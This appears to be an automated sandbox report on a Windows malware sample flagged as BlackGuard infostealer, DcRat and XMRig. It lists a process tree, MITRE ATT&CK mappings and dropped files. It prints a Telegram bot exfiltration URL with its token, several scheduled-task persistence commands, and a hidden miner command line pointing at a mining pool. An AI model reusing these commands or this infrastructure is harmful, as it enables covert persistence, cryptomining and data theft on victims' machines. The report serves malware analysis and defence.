Analysis
- max time kernel
6s - max time network
157s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
28/02/2024, 12:54
General
- Target abed42f95a78af86615234f9b1f0a3eb.exe
- Size 10.5MB
- Sample240228-p5f4msca8y
- SHA256 6a0d05477e23fc1152067fc51d50a044bccf0e0a0654dbae1864df792400e935
Malware Config
Extracted
-
blackguard
-
https://api.telegram.org/bot1909916945:AAH0pLjSkBmQT4Vr_17-JSMoF4Lt_xOH9N8/sendMessage?chat_id=1640241476
Signatures
- BlackGuard
Infostealer first seen in Late 2021.
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- DCRat payload 3 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- XMRig Miner payload 13 IoCs
- Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Themida packer 11 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 7 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\abed42f95a78af86615234f9b1f0a3eb.exe"C:\Users\Admin\AppData\Local\Temp\abed42f95a78af86615234f9b1f0a3eb.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Intilizate.exe"C:\Users\Admin\AppData\Local\Temp\Intilizate.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\SystemPropertiesAdvance.exe"C:\Users\Admin\AppData\Local\Temp\SystemPropertiesAdvance.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Fv5MIOe3kM.bat"3⤵
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:24⤵
-
-
C:\Users\Admin\AppData\Local\Temp\HashModule\Intilizate.exe"C:\Users\Admin\AppData\Local\Temp\HashModule\Intilizate.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\WindowsInternal.exe"C:\Users\Admin\AppData\Local\Temp\WindowsInternal.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"' & exit3⤵
-
-
C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\WindscribeLauncher.exe"C:\Users\Admin\AppData\Local\Temp\WindscribeLauncher.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\HashModule.exe"C:\Users\Admin\AppData\Local\Temp\HashModule.exe"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"' & exit3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"'4⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "Internalprosecc" /tr '"C:\Users\Admin\AppData\Roaming\Internalprosecc.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"4⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6031730 --pass=nixwaree --cpu-max-threads-hint=40 --cinit-idle-wait=1 --cinit-idle-cpu=80 --cinit-stealth4⤵
-
-
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsInternal" /tr '"C:\Users\Admin\AppData\Roaming\WindowsInternal.exe"'1⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\ThumbnailExtractionHost\dllhost.exe'" /rl HIGHEST /f1⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Intilizate" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\HashModule\Intilizate.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\InputApp\TextInputHost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
WindowsInternal.exe.log
Fv5MIOe3kM.bat
HashModule.exe
HashModule.exe
HashModule.exe
Intilizate.exe
Intilizate.exe
Intilizate.exe
SystemPropertiesAdvance.exe
WindowsInternal.exe
WindowsInternal.exe
WindowsInternal.exe
WindscribeLauncher.exe
WindscribeLauncher.exe
WindscribeLauncher.exe
Internalprosecc.exe
Internalprosecc.exe
sihost64.exe
sihost32.exe
Bookmarks.txt
Process.txt
WindowsInternal.exe
memory/1824-357-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/1952-342-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-346-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-360-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-356-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-343-0x0000000002D40000-0x0000000002D60000-memory.dmp
memory/1952-347-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-359-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-340-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-348-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-349-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-350-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-351-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-338-0x0000000140000000-0x0000000140758000-memory.dmp
memory/1952-361-0x0000000140000000-0x0000000140758000-memory.dmp
memory/2240-306-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/2240-79-0x0000000002BC0000-0x0000000002BD0000-memory.dmp
memory/2240-53-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/2240-49-0x0000000000A70000-0x0000000000B08000-memory.dmp
memory/2260-73-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/2260-265-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/2260-61-0x0000000003180000-0x0000000003192000-memory.dmp
memory/2260-58-0x000000001C490000-0x000000001C67A000-memory.dmp
memory/2260-78-0x000000001C480000-0x000000001C490000-memory.dmp
memory/2260-48-0x00000000005A0000-0x000000000078C000-memory.dmp
memory/2584-62-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-55-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-345-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-344-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-82-0x0000000005C30000-0x00000000061D4000-memory.dmp
memory/2584-86-0x0000000005580000-0x0000000005612000-memory.dmp
memory/2584-333-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-336-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-98-0x0000000005C10000-0x0000000005C1A000-memory.dmp
memory/2584-80-0x0000000077B24000-0x0000000077B26000-memory.dmp
memory/2584-67-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-74-0x0000000000230000-0x0000000000A46000-memory.dmp
memory/2584-66-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-63-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-337-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-330-0x0000000000230000-0x0000000000A46000-memory.dmp
memory/2584-335-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-334-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-60-0x0000000077840000-0x0000000077930000-memory.dmp
memory/2584-77-0x0000000000230000-0x0000000000A46000-memory.dmp
memory/2584-27-0x0000000000230000-0x0000000000A46000-memory.dmp
memory/2584-57-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3320-308-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/3320-264-0x000000001BFE0000-0x000000001BFF0000-memory.dmp
memory/3320-263-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/3664-304-0x0000000001290000-0x00000000012A0000-memory.dmp
memory/3664-300-0x0000000000460000-0x0000000000466000-memory.dmp
memory/3664-303-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/3948-69-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-99-0x0000000000E50000-0x00000000016AE000-memory.dmp
memory/3948-59-0x0000000000E50000-0x00000000016AE000-memory.dmp
memory/3948-68-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-329-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-70-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-72-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-71-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-83-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-84-0x0000000077840000-0x0000000077930000-memory.dmp
memory/3948-262-0x0000000008490000-0x00000000084F6000-memory.dmp
memory/3948-332-0x0000000000E50000-0x00000000016AE000-memory.dmp
memory/3948-81-0x0000000000E50000-0x00000000016AE000-memory.dmp
memory/3980-97-0x0000000000E30000-0x0000000001032000-memory.dmp
memory/3980-100-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/3980-101-0x000000001CFF0000-0x000000001D1F2000-memory.dmp
memory/3980-146-0x000000001CBE0000-0x000000001CBF0000-memory.dmp
memory/3980-299-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/4424-325-0x00000000007B0000-0x00000000007B6000-memory.dmp
memory/4424-328-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/4424-331-0x000000001C400000-0x000000001C410000-memory.dmp
memory/4840-341-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/4840-301-0x00007FFB4EE70000-0x00007FFB4F931000-memory.dmp
memory/4840-305-0x000000001C550000-0x000000001C560000-memory.dmp